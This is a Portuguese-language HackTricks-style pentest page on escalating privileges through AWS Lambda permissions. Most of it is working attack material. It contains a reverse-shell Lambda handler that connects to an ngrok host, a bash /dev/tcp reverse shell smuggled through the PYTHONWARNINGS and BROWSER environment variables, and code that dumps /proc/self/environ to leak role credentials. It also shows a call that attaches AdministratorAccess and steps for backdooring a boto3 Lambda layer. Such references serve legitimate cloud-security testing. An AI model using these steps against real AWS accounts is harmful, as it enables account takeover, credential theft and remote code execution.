AWS - Lambda Privesc

Support HackTricks

lambda

Mais informações sobre lambda em:

AWS - Lambda Enum

iam:PassRole, lambda:CreateFunction, (lambda:InvokeFunction | lambda:InvokeFunctionUrl)

Usuários com as permissões iam:PassRole, lambda:CreateFunction e lambda:InvokeFunction podem escalar seus privilégios. Eles podem criar uma nova função Lambda e atribuir a ela um papel IAM existente, concedendo à função as permissões associadas a esse papel. O usuário pode então escrever e fazer upload de código para essa função Lambda (com um rev shell, por exemplo). Uma vez que a função esteja configurada, o usuário pode disparar sua execução e as ações pretendidas invocando a função Lambda através da API AWS. Essa abordagem permite efetivamente que o usuário realize tarefas indiretamente através da função Lambda, operando com o nível de acesso concedido ao papel IAM associado a ela.\

Um atacante poderia abusar disso para obter um rev shell e roubar o token:

rev.py
import socket,subprocess,os,time
def lambda_handler(event, context):
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(('4.tcp.ngrok.io',14305))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(['/bin/sh','-i'])
time.sleep(900)
return 0
# Zip the rev shell
zip "rev.zip" "rev.py"

# Create the function
aws lambda create-function --function-name my_function \
--runtime python3.9 --role <arn_of_lambda_role> \
--handler rev.lambda_handler --zip-file fileb://rev.zip

# Invoke the function
aws lambda invoke --function-name my_function output.txt
## If you have the lambda:InvokeFunctionUrl permission you need to expose the lambda inan URL and execute it via the URL

# List roles
aws iam list-attached-user-policies --user-name <user-name>

Você também poderia abusar das permissões do papel lambda da própria função lambda. Se o papel lambda tivesse permissões suficientes, você poderia usá-lo para conceder direitos de administrador a você:

import boto3
def lambda_handler(event, context):
client = boto3.client('iam')
response = client.attach_user_policy(
UserName='my_username',
PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
)
return response

É também possível vazar as credenciais da função da lambda sem precisar de uma conexão externa. Isso seria útil para Lambdas isoladas em rede usadas em tarefas internas. Se houver grupos de segurança desconhecidos filtrando seus shells reversos, este trecho de código permitirá que você vaze diretamente as credenciais como a saída da lambda.

def handler(event, context):
sessiontoken = open('/proc/self/environ', "r").read()
return {
'statusCode': 200,
'session': str(sessiontoken)
}
aws lambda invoke --function-name <lambda_name> output.txt
cat output.txt

Impacto Potencial: Privesc direto para o papel de serviço lambda arbitrário especificado.

Observe que, mesmo que possa parecer interessante, lambda:InvokeAsync não permite por si só executar aws lambda invoke-async, você também precisa de lambda:InvokeFunction

iam:PassRole, lambda:CreateFunction, lambda:AddPermission

Como no cenário anterior, você pode conceder a si mesmo a permissão lambda:InvokeFunction se tiver a permissão lambda:AddPermission

# Check the previous exploit and use the following line to grant you the invoke permissions
aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \
--action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN"

Impacto Potencial: Privesc direto para o papel de serviço lambda arbitrário especificado.

iam:PassRole, lambda:CreateFunction, lambda:CreateEventSourceMapping

Usuários com permissões iam:PassRole, lambda:CreateFunction e lambda:CreateEventSourceMapping (e potencialmente dynamodb:PutItem e dynamodb:CreateTable) podem indiretamente escalar privilégios mesmo sem lambda:InvokeFunction. Eles podem criar uma função Lambda com código malicioso e atribuí-la a um papel IAM existente.

Em vez de invocar diretamente a Lambda, o usuário configura ou utiliza uma tabela DynamoDB existente, vinculando-a à Lambda através de um mapeamento de fonte de evento. Essa configuração garante que a função Lambda seja ativada automaticamente ao inserir um novo item na tabela, seja pela ação do usuário ou por outro processo, invocando indiretamente a função Lambda e executando o código com as permissões do papel IAM passado.

aws lambda create-function --function-name my_function \
--runtime python3.8 --role <arn_of_lambda_role> \
--handler lambda_function.lambda_handler \
--zip-file fileb://rev.zip

Se o DynamoDB já estiver ativo no ambiente AWS, o usuário precisa apenas estabelecer o mapeamento da fonte de eventos para a função Lambda. No entanto, se o DynamoDB não estiver em uso, o usuário deve criar uma nova tabela com streaming habilitado:

aws dynamodb create-table --table-name my_table \
--attribute-definitions AttributeName=Test,AttributeType=S \
--key-schema AttributeName=Test,KeyType=HASH \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES

Agora é possível conectar a função Lambda à tabela DynamoDB criando um mapeamento de fonte de evento:

aws lambda create-event-source-mapping --function-name my_function \
--event-source-arn <arn_of_dynamodb_table_stream> \
--enabled --starting-position LATEST

Com a função Lambda vinculada ao fluxo do DynamoDB, o atacante pode indiretamente acionar a Lambda ativando o fluxo do DynamoDB. Isso pode ser realizado inserindo um item na tabela do DynamoDB:

aws dynamodb put-item --table-name my_table \
--item Test={S="Random string"}

Impacto Potencial: Privesc direto para o papel de serviço lambda especificado.

lambda:AddPermission

Um atacante com esta permissão pode conceder a si mesmo (ou a outros) quaisquer permissões (isso gera políticas baseadas em recursos para conceder acesso ao recurso):

# Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode)
aws lambda add-permission --function-name <func_name> --statement-id asdasd --action '*' --principal arn:<your user arn>

# Invoke the function
aws lambda invoke --function-name <func_name> /tmp/outout

Impacto Potencial: Privesc direto para o papel de serviço lambda usado ao conceder permissão para modificar o código e executá-lo.

lambda:AddLayerVersionPermission

Um atacante com essa permissão pode conceder a si mesmo (ou a outros) a permissão lambda:GetLayerVersion. Ele poderia acessar a camada e procurar vulnerabilidades ou informações sensíveis.

# Give everyone the permission lambda:GetLayerVersion
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion

Impacto Potencial: Acesso potencial a informações sensíveis.

lambda:UpdateFunctionCode

Usuários que possuem a permissão lambda:UpdateFunctionCode têm o potencial de modificar o código de uma função Lambda existente que está vinculada a um papel IAM. O atacante pode modificar o código da lambda para exfiltrar as credenciais IAM.

Embora o atacante possa não ter a capacidade direta de invocar a função, se a função Lambda já existir e estiver operacional, é provável que ela seja acionada por meio de fluxos de trabalho ou eventos existentes, facilitando assim indiretamente a execução do código modificado.

# The zip should contain the lambda code (trick: Download the current one and add your code there)
aws lambda update-function-code --function-name target_function \
--zip-file fileb:///my/lambda/code/zipped.zip

# If you have invoke permissions:
aws lambda invoke --function-name my_function output.txt

# If not check if it's exposed in any URL or via an API gateway you could access

Impacto Potencial: Privesc direto para o papel de serviço lambda utilizado.

lambda:UpdateFunctionConfiguration

RCE via variáveis de ambiente

Com essas permissões, é possível adicionar variáveis de ambiente que farão com que o Lambda execute código arbitrário. Por exemplo, em python, é possível abusar das variáveis de ambiente PYTHONWARNING e BROWSER para fazer um processo python executar comandos arbitrários:

aws --profile none-priv lambda update-function-configuration --function-name <func-name> --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}"

Para outras linguagens de script, existem outras variáveis de ambiente que você pode usar. Para mais informações, consulte as subseções de linguagens de script em:

RCE via Lambda Layers

Lambda Layers permite incluir código na sua função lambda, mas armazená-lo separadamente, para que o código da função possa permanecer pequeno e várias funções possam compartilhar código.

Dentro da lambda, você pode verificar os caminhos de onde o código python é carregado com uma função como a seguinte:

import json
import sys

def lambda_handler(event, context):
print(json.dumps(sys.path, indent=2))

Estes são os lugares:

  1. /var/task

  2. /opt/python/lib/python3.7/site-packages

  3. /opt/python

  4. /var/runtime

  5. /var/lang/lib/python37.zip

  6. /var/lang/lib/python3.7

  7. /var/lang/lib/python3.7/lib-dynload

  8. /var/lang/lib/python3.7/site-packages

  9. /opt/python/lib/python3.7/site-packages

  10. /opt/python

Por exemplo, a biblioteca boto3 é carregada de /var/runtime/boto3 (4ª posição).

Exploração

É possível abusar da permissão lambda:UpdateFunctionConfiguration para adicionar uma nova camada a uma função lambda. Para executar código arbitrário, essa camada precisa conter alguma biblioteca que a lambda vai importar. Se você puder ler o código da lambda, poderá encontrar isso facilmente, também note que pode ser possível que a lambda já esteja usando uma camada e você poderia baixar a camada e adicionar seu código lá.

Por exemplo, vamos supor que a lambda esteja usando a biblioteca boto3, isso criará uma camada local com a última versão da biblioteca:

pip3 install -t ./lambda_layer boto3

Você pode abrir ./lambda_layer/boto3/__init__.py e adicionar a backdoor no código global (uma função para exfiltrar credenciais ou obter um shell reverso, por exemplo).

Em seguida, compacte o diretório ./lambda_layer e faça o upload da nova camada lambda na sua própria conta (ou na conta da vítima, mas você pode não ter permissões para isso). Observe que você precisa criar uma pasta python e colocar as bibliotecas lá para substituir /opt/python/boto3. Além disso, a camada precisa ser compatível com a versão do python usada pela lambda e, se você fizer o upload para sua conta, precisa estar na mesma região:

aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"

Agora, torne a camada lambda carregada acessível por qualquer conta:

aws lambda add-layer-version-permission --layer-name boto3 \
--version-number 1 --statement-id public \
--action lambda:GetLayerVersion --principal *

E anexe a camada lambda à função lambda da vítima:

aws lambda update-function-configuration \
--function-name <func-name> \
--layers arn:aws:lambda:<region>:<attacker-account-id>:layer:boto3:1 \
--timeout 300 #5min for rev shells

O próximo passo seria invocar a função nós mesmos, se pudermos, ou esperar até que ela seja invocada por meios normais – que é o método mais seguro.

Uma maneira mais furtiva de explorar essa vulnerabilidade pode ser encontrada em:

AWS - Lambda Layers Persistence

Impacto Potencial: Privesc direto para a função de serviço lambda utilizada.

iam:PassRole, lambda:CreateFunction, lambda:CreateFunctionUrlConfig, lambda:InvokeFunctionUrl

Talvez com essas permissões você consiga criar uma função e executá-la chamando a URL... mas eu não consegui encontrar uma maneira de testá-la, então me avise se você conseguir!

Lambda MitM

Alguns lambdas vão estar recebendo informações sensíveis dos usuários em parâmetros. Se conseguir RCE em um deles, você pode exfiltrar as informações que outros usuários estão enviando para ele, confira em:

AWS - Steal Lambda Requests

Referências

Support HackTricks

Last updated